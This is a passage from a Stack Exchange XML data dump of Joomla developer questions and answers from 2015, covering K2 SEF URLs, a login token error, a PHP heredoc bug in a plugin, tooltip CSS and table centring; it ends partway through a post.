  <row Id="7312" PostTypeId="1" AcceptedAnswerId="7313" CreationDate="2015-01-28T17:02:17.107" Score="5" ViewCount="1073" Body="&lt;p&gt;I am using Joomla 3.3 and K2 v2.6.9. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a category view with several items, namely books. The URL looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost/index.php?option=com_k2&amp;amp;view=itemlist&amp;amp;task=category&amp;amp;id=214:publikationen&amp;amp;Itemid=203&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To present these items in a CSV-style list, I need to use another template, called &lt;code&gt;csv-view&lt;/code&gt;. So I create the link to this view by this code::&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $_SERVER['REQUEST_URI']; ?&amp;gt;&amp;amp;amp;template=csv-view&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;resulting in this URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost/index.php?option=com_k2&amp;amp;view=itemlist&amp;amp;task=category&amp;amp;id=214:publikationen&amp;amp;Itemid=203&amp;amp;template=csv-view&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I activate SEF URL the URL changes to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost/navigation/forschung/itemlist/category/214-publikationen.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the extended URL would be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost/navigation/forschung/itemlist/category/214-publikationen.html&amp;amp;template=csv-view&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this page can't be found. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here is my question: how can I construct the correct URL for the CSV view even if SEF URLs are activated?&lt;/p&gt;&#xA;" OwnerUserId="3605" LastActivityDate="2015-01-29T14:03:17.913" Title="How can I change a SEF URL to display another template?" Tags="|joomla-3.x|php|k2|url|sef|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7313" PostTypeId="2" ParentId="7312" CreationDate="2015-01-28T17:37:54.367" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Instead of &lt;code&gt;$_SERVER['REQUEST_URI']&lt;/code&gt;, you can rely on &lt;code&gt;JUri::root()&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;template parameter can not be added concatenating it with &lt;code&gt;&amp;amp;&lt;/code&gt;. It has to be &lt;code&gt;?&lt;/code&gt; ... but it depends on the Url query. Thus, you need a piece of code like this to define the glue:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$uri = JUri::getInstance($url);&#xA;$query = $uri-&amp;gt;getQuery();&#xA;&#xA;if (empty($query))&#xA;{&#xA;    $glue = '?';&#xA;}&#xA;else&#xA;{&#xA;    $glue = '&amp;amp;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As suggested by @fruppel in a more compact way: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $uri = JUri::getInstance($url); &#xA;    $uri-&amp;gt;setVar('tmpl', 'csv-view'); &#xA;    $url = $uri-&amp;gt;toString();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2015-01-29T14:03:17.913" LastActivityDate="2015-01-29T14:03:17.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7314" PostTypeId="1" CreationDate="2015-01-28T18:44:07.237" Score="4" ViewCount="270" Body="&lt;p&gt;I have 2 very similar (but obviously not identical) environments - one test and one production. I am using only the standard Login form from a menu item. Yet, I get an Invalid Token when trying to log into the test environment. The production environment has no such issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I spent a lot of time on this. Google is your friend and so, too, is the Joomla Forum. I tried numerous approaches and was offered a myriad of suggestions, all to no avail. I have &quot;worked around&quot; the problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nonetheless, with this being a pervasive issue with Joomla, I wish to start investigating the underlying issues and what can be done about it (with the aim of preventing it in future).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An explanation is in order, I feel. Would someone far more knowledgeable about this kindly (and definitively) describe what action is being taken, what data is being compared, what the sources of the data are, where they are stored, etc. so corrective action can be contemplated. Some definitive process for identifying and correcting the issue, available only to administrators but available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand why the tokens are used and I more or less understand how its being done but not sufficiently to figure out how to undo the problem when it occurs (as it will likely occur again).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a final note, something like this makes a Joomla less attractive as a CMS. These kinds of situations scare off designers and developers. We don't need calls from our clients with this problem unless there is a definitive way of preventing or dealing with it. No such process seems to be available (at least nothing I could find and I would be delighted to be wrong about this!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thanks go out to those who step up to help with this.&lt;/p&gt;&#xA;" OwnerUserId="130" LastEditorUserId="12352" LastEditDate="2019-11-16T22:56:36.163" LastActivityDate="2019-11-16T22:56:36.163" Title="Invalid Token - Login issue - Explaination of what is being compared" Tags="|joomla-3.3.x|login|security-token|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7316" PostTypeId="1" CreationDate="2015-01-28T20:28:32.390" Score="0" ViewCount="2165" Body="&lt;p&gt;I seem to be having an issue when using jQuery in my plugin, which results in a blank page.&#xA;When I delete the last line &lt;code&gt;$document-&amp;gt;addScriptDeclaration($js);&lt;/code&gt;, the site display but the code doesn't work as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my plugin&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;class PlgContentEasySpoiler extends JPlugin &#xA;{&#xA;    function __construct(&amp;amp;$subject, $config)&#xA;    {&#xA;        parent::__construct($subject, $config);&#xA;        $this-&amp;gt;loadLanguage('', JPATH_ADMINISTRATOR);       $document = JFactory::getDocument();&#xA;    }&#xA;&#xA;    function onContentPrepare($context, &amp;amp;$article, &amp;amp;$params, $limitstart)&#xA;    {&#xA;        if(!preg_match(&quot;@{spoiler}(.*){/spoiler}@sU&quot;, $article-&amp;gt;text))&#xA;        {&#xA;            return;&#xA;        }&#xA;        if(preg_match_all(&quot;@{spoiler}(.*){/spoiler}@sU&quot;, $article-&amp;gt;text, $matches, PREG_PATTERN_ORDER) &amp;gt; 0)&#xA;        {           &#xA;            foreach($matches[1] as $match)&#xA;            {&#xA;                $bgcolor                    = $this-&amp;gt;params-&amp;gt;get('bgcolor');&#xA;                $fontcolor                  = $this-&amp;gt;params-&amp;gt;get('fontcolor');&#xA;                $padding_top_bottom         = $this-&amp;gt;params-&amp;gt;get('padding_top_bottom');&#xA;                $padding_left_right         = $this-&amp;gt;params-&amp;gt;get('padding_left_right');&#xA;                $border_radius              = $this-&amp;gt;params-&amp;gt;get('border_radius');&#xA;                $anim_speed                 = $this-&amp;gt;params-&amp;gt;get('anim_speed');&#xA;&#xA;                $html = '';    &#xA;                $spoiler = preg_replace('#&amp;lt;(/*)span[^&amp;gt;]*&amp;gt;#msi', '', $match);   &#xA;                $html .= '&amp;lt;span class=&quot;spoiler&quot;&amp;gt;'.$spoiler.'&amp;lt;/span&amp;gt;';&#xA;                $article-&amp;gt;text = preg_replace(&quot;@{spoiler}&quot;.$match.&quot;{/spoiler}@sU&quot;, $html, $article-&amp;gt;text);&#xA;            }&#xA;&#xA;            $css = 'a.reveal {&#xA;                background: '.$bgcolor.' !important; &#xA;                padding:  '.$padding_top_bottom.'px '.$padding_left_right.'px !important; &#xA;                border-radius:'.$border_radius.'px !important; &#xA;                box-shadow:0 0 25px #111;&#xA;                -webkit-box-shadow:0 0 25px #111;&#xA;                -moz-box-shadow:0 0 25px #111;&#xA;                color: '.$fontcolor.' !important;&#xA;&#xA;            }'.&quot;\n&quot;;&#xA;&#xA;            JFactory::getDocument()-&amp;gt;addStyleDeclaration($css);&#xA;&#xA;            JHtml::_('jquery.framework');           &#xA;            JHtml::_('script', 'easyspoiler/js/easyspoiler.js', false, true, false, false, true);           &#xA;            $js = &amp;lt;&amp;lt;&amp;lt;SCRIPTHERE&#xA;                jQuery(document).ready(function() {&#xA;                    jQuery(document.body).EasySpoiler({&#xA;                        'anim_speed':       &#xA;                        '$anim_speed',&#xA;                    });             &#xA;                }); SCRIPTHERE;             &#xA;            $document-&amp;gt;addScriptDeclaration($js);                               &#xA;        }&#xA;    } &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and also the XML file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;files&amp;gt;&#xA;     &amp;lt;filename plugin=&quot;easyspoiler&quot;&amp;gt;easyspoiler.php&amp;lt;/filename&amp;gt;&#xA;     &amp;lt;filename plugin=&quot;easyspoiler&quot;&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;&amp;lt;/files&amp;gt;&#xA;&amp;lt;media folder=&quot;media&quot; destination=&quot;easyspoiler&quot;&amp;gt;&#xA;     &amp;lt;folder&amp;gt;js&amp;lt;/folder&amp;gt;&#xA;&amp;lt;/media&amp;gt;&#xA;&amp;lt;languages&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;language/en-GB/en-GB.plg_content_easyspoiler.sys.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;language/en-GB/en-GB.plg_content_easyspoiler.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&quot;de-DE&quot;&amp;gt;language/de-DE/de-DE.plg_content_easyspoiler.sys.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&quot;de-DE&quot;&amp;gt;language/de-DE/de-DE.plg_content_easyspoiler.ini&amp;lt;/language&amp;gt;&#xA;&amp;lt;/languages&amp;gt;&#xA;&#xA;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;EASYSPOILER&quot;&amp;gt;   &#xA;            &amp;lt;field name=&quot;bgcolor&quot; type=&quot;color&quot; default=&quot;#fff&quot; &#xA;            label=&quot;PLG_EASYSPOILER_BACKGROUND_COLOR&quot;    &#xA;            description=&quot;PLG_EASYSPOILER_BACKGROUND_COLOR_DESC&quot; /&amp;gt;&#xA;            &amp;lt;field name=&quot;fontcolor&quot; type=&quot;color&quot; default=&quot;#000&quot; &#xA;            label=&quot;PLG_EASYSPOILER_FONT_COLOR&quot;  &#xA;            description=&quot;PLG_EASYSPOILER_FONT_COLOR_DESC&quot; /&amp;gt;&#xA;            &amp;lt;field name=&quot;padding_top_bottom&quot; type=&quot;text&quot; default=&quot;2&quot; label=&quot;PLG_EASYSPOILER_TOP_BOTTOM&quot; description=&quot;PLG_EASYSPOILER_TOP_BOTTOM_DESC&quot; filter=&quot;integer&quot; /&amp;gt;&#xA;            &amp;lt;field name=&quot;padding_left_right&quot; type=&quot;text&quot; default=&quot;5&quot; label=&quot;PLG_EASYSPOILER_LEFT_RIGHT&quot; description=&quot;PLG_EASYSPOILER_LEFT_RIGHT_DESC&quot; filter=&quot;integer&quot; /&amp;gt;&#xA;            &amp;lt;field name=&quot;border_radius&quot; type=&quot;text&quot; default=&quot;5&quot; label=&quot;PLG_EASYSPOILER_BORDER_RADIUS&quot; description=&quot;PLG_EASYSPOILER_BORDER_RADIUS_DESC&quot; filter=&quot;integer&quot; /&amp;gt;&#xA;            &amp;lt;field name=&quot;border_shadow&quot; type=&quot;text&quot; default=&quot;5&quot; label=&quot;PLG_EASYSPOILER_BORDER_SHADOW&quot; description=&quot;PLG_EASYSPOILER_BORDER_SHADOW_DESC&quot; filter=&quot;integer&quot; /&amp;gt;&#xA;            &amp;lt;field name=&quot;anim_speed&quot; type=&quot;text&quot; default=&quot;500&quot; label=&quot;PLG_EASYSPOILER_ANIM_SPEED&quot; description=&quot;PLG_EASYSPOILER_ANIM_SPEED_DESC&quot; filter=&quot;integer&quot; /&amp;gt;&#xA;         &amp;lt;/fieldset&amp;gt;         &#xA;    &amp;lt;/fields&amp;gt;&#xA; &amp;lt;/config&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3608" LastEditorUserId="168" LastEditDate="2015-01-28T21:02:38.030" LastActivityDate="2018-11-30T10:35:59.143" Title="About jquery and $document-&gt;addScriptDeclaration($js) by developing a plugin" Tags="|joomla-3.x|plugin|javascript|jquery|content|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7317" PostTypeId="2" ParentId="7233" CreationDate="2015-01-28T21:41:16.297" Score="1" Body="&lt;p&gt;Joomla! Docs has an article about &lt;a href=&quot;https://docs.joomla.org/Publishing_to_JED&quot; rel=&quot;nofollow&quot;&gt;Publishing to JED&lt;/a&gt;, with a quite complete list that includes things to consider in addition to the coding part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Among other things it's important to consider:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Licensing (must be GPL to be accepted)&lt;/li&gt;&#xA;&lt;li&gt;Packing (&lt;a href=&quot;https://docs.joomla.org/Extensions_packing&quot; rel=&quot;nofollow&quot;&gt;recommendations here&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Distribution - where the files can be downloaded&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;A couple of things won't directly affect your submission, but should also be taken into account:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Price (free or commercial)&lt;/li&gt;&#xA;&lt;li&gt;Support&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Finally, take a look at the &lt;a href=&quot;https://docs.joomla.org/JED_Entries_Submission_Checklist&quot; rel=&quot;nofollow&quot;&gt;JED Entries Submission Checklist&lt;/a&gt;, it's a complete checklist with mostly anything you need to check before submitting an extension.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-01-28T21:41:16.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7318" PostTypeId="2" ParentId="7316" CreationDate="2015-01-28T22:24:29.577" Score="0" Body="&lt;p&gt;You should format your script variable to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$js = &amp;lt;&amp;lt;&amp;lt;SCRIPTHERE&#xA;   jQuery(document).ready(function() {&#xA;     jQuery(document.body).EasySpoiler({&#xA;       'anim_speed':       &#xA;       '$anim_speed',&#xA;     });             &#xA;   }); &#xA;SCRIPTHERE;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When using heredoc syntax, the closing identifier (&lt;code&gt;SCRIPTHERE;&lt;/code&gt;) must begin in the first column, i.e. it should not be indented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This if from the &lt;a href=&quot;http://php.net/manual/en/language.types.string.php#language.types.string.syntax.heredoc&quot; rel=&quot;nofollow&quot;&gt;php.net documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Warning&lt;/strong&gt; It is very important to note that the line with the closing&#xA;  identifier must contain no other characters, except a semicolon (;).&#xA;  That means especially that the identifier may not be indented, and&#xA;  there may not be any spaces or tabs before or after the semicolon.&#xA;  It's also important to realize that the first character before the&#xA;  closing identifier must be a newline as defined by the local operating&#xA;  system. This is \n on UNIX systems, including Mac OS X. The closing&#xA;  delimiter must also be followed by a newline. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If this rule is broken&#xA;  and the closing identifier is not &quot;clean&quot;, it will not be considered a&#xA;  closing identifier, and PHP will continue looking for one. If a proper&#xA;  closing identifier is not found before the end of the current file, a&#xA;  parse error will result at the last line.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Change that line and see if that solves anything.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-01-28T22:24:29.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7319" PostTypeId="1" AcceptedAnswerId="7320" CreationDate="2015-01-28T23:30:21.243" Score="0" ViewCount="155" Body="&lt;p&gt;I have the Latest Members and Online Users modules enabled in my footer. However, the tooltips that appear on hover are about 200px to the right of where they should be. I am having trouble tracking down &lt;strong&gt;where&lt;/strong&gt; the css is made that controls where the tooltips appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should add that I am using JomSocial 3.1.1 and Joomla 3.3.&lt;/p&gt;&#xA;" OwnerUserId="3610" LastEditorUserId="3610" LastEditDate="2015-01-28T23:44:50.840" LastActivityDate="2015-01-28T23:51:42.257" Title="JomSocial Tooltips" Tags="|joomla-3.x|module|jomsocial|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7320" PostTypeId="2" ParentId="7319" CreationDate="2015-01-28T23:51:42.257" Score="1" Body="&lt;p&gt;The most probable issue is a conflict between your template and JomSocial template. You can debug it with a browser inspection tool, like Firefox's &lt;strong&gt;Firebug or Chrome Dev Tools&lt;/strong&gt; (F12). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both tools allows to explore each Html element and all the applied styles, even allowing to enable/disable each declaration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you find the CSS style causing the conflict, you can add a new declaration in your template to fix it.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-01-28T23:51:42.257" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7321" PostTypeId="2" ParentId="7316" CreationDate="2015-01-28T23:55:23.573" Score="2" Body="&lt;p&gt;$document is only declared in the __construct scope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to declare it before using it in onContentPrepare scope. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can call addScriptDeclaration in the same way than you do with addStyleDeclaration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getDocument()-&amp;gt;addScriptDeclaration($js);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-01-28T23:55:23.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7322" PostTypeId="1" AcceptedAnswerId="7327" CreationDate="2015-01-29T01:10:23.807" Score="1" ViewCount="391" Body="&lt;p&gt;While trying to generate a sitemap with a crawler, it is finding some really weird URLs which is not giving a 404 and displaying incorrect content on the wrong section. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, I have a Menu called fiction with sub item used-fiction/offers. The fiction section has it's own template which makes it look different from Autobiography section but somehow the crawler is finding the URL below and the loading content of the id=124 under the fiction template which is completely wrong. There are no menu items pointing to that article that is in the Fiction Menu. That article ID has a menu item in 'Autobiography' Menu which is working fine.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/fiction/used-fiction/offers?id=124:a-long-walk-to-freedom&amp;amp;amp;catid=2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wondering if there is a way I could identify where these links might be in content table but checking in the database, I can't find anything that is remotely like this. Any suggestions would be great!&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-01-29T07:07:22.207" Title="Crawler finding URLs with ids and catid" Tags="|menu-item|seo|com-content|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7323" PostTypeId="1" AcceptedAnswerId="7326" CreationDate="2015-01-29T05:19:06.047" Score="1" ViewCount="802" Body="&lt;p&gt;Some time while &lt;strong&gt;saving data&lt;/strong&gt; from admin panel in joomla, error message occurs which says &lt;strong&gt;check-out failed&lt;/strong&gt;. What this error &lt;strong&gt;means&lt;/strong&gt; ? When will this error &lt;strong&gt;occurs&lt;/strong&gt; ? &lt;/p&gt;&#xA;" OwnerUserId="487" LastActivityDate="2015-01-29T06:18:51.970" Title="Check-out failed ? What this error actually means?" Tags="|joomla-3.x|administrator|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7324" PostTypeId="1" CreationDate="2015-01-29T05:56:31.860" Score="1" ViewCount="387" Body="&lt;p&gt;My table in my portfolio module isn't centering properly. In chrome it is a bit too much to the left when in firefox it's a bit too much to the right. Any ideas? Here is my html code for the portfolio.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p style=&quot;text-align: center;&quot;&amp;gt; &amp;lt;/p&amp;gt;&#xA;&amp;lt;table style=&quot;height: 265px; margin-left: auto; margin-right: auto;&quot; width=&quot;1013&quot;&amp;gt;&#xA;&amp;lt;tbody&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td style=&quot;text-align: center;&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;img src=&quot;images/quest_design_web_gallery_header.png&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt; &amp;lt;/p&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;&amp;lt;a href=&quot;img/image-1.jpg&quot; data-lightbox=&quot;web&quot; data-title=&quot;This is first image caption&quot;&amp;gt;&amp;lt;img style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; src=&quot;images/thumbnail.png&quot; alt=&quot;Thumbnail&quot; border=&quot;0&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;&amp;lt;a href=&quot;img/image-2.jpg&quot; data-lightbox=&quot;web&quot; data-title=&quot;This is second image caption&quot;&amp;gt;&amp;lt;img style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; src=&quot;images/thumbnail.png&quot; alt=&quot;Thumbnail&quot; border=&quot;0&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;&amp;lt;a href=&quot;img/image-3.jpg&quot; data-lightbox=&quot;web&quot; data-title=&quot;This is third image caption&quot;&amp;gt;&amp;lt;img style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; src=&quot;images/thumbnail.png&quot; alt=&quot;Thumbnail&quot; border=&quot;0&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td style=&quot;text-align: left;&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt; &amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;img style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; src=&quot;images/quest_design_design_gallery_header.png&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt; &amp;lt;/p&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;&amp;lt;a href=&quot;img/image-1.jpg&quot; data-lightbox=&quot;design&quot; data-title=&quot;This is first image caption&quot;&amp;gt;&amp;lt;img style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; src=&quot;images/thumbnail.png&quot; alt=&quot;Thumbnail&quot; border=&quot;0&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;&amp;lt;a href=&quot;img/image-2.jpg&quot; data-lightbox=&quot;web&quot; data-title=&quot;This is second image caption&quot;&amp;gt;&amp;lt;img style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; src=&quot;images/thumbnail.png&quot; alt=&quot;Thumbnail&quot; border=&quot;0&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;&amp;lt;a href=&quot;img/image-3.jpg&quot; data-lightbox=&quot;web&quot; data-title=&quot;This is third image caption&quot;&amp;gt;&amp;lt;img style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; src=&quot;images/thumbnail.png&quot; alt=&quot;Thumbnail&quot; border=&quot;0&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;   &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td style=&quot;text-align: center;&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt; &amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;img src=&quot;images/quest_design_image_gallery_header.png&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;a href=&quot;img/image-1.jpg&quot; data-lightbox=&quot;image&quot; data-title=&quot;This is first image caption&quot;&amp;gt;&amp;lt;img style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; src=&quot;images/thumbnail.png&quot; alt=&quot;Thumbnail&quot; border=&quot;0&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;a href=&quot;img/image-2.jpg&quot; data-lightbox=&quot;image&quot; data-title=&quot;This is second image caption&quot;&amp;gt;&amp;lt;img style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; src=&quot;images/thumbnail.png&quot; alt=&quot;Thumbnail&quot; border=&quot;0&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;&amp;lt;br 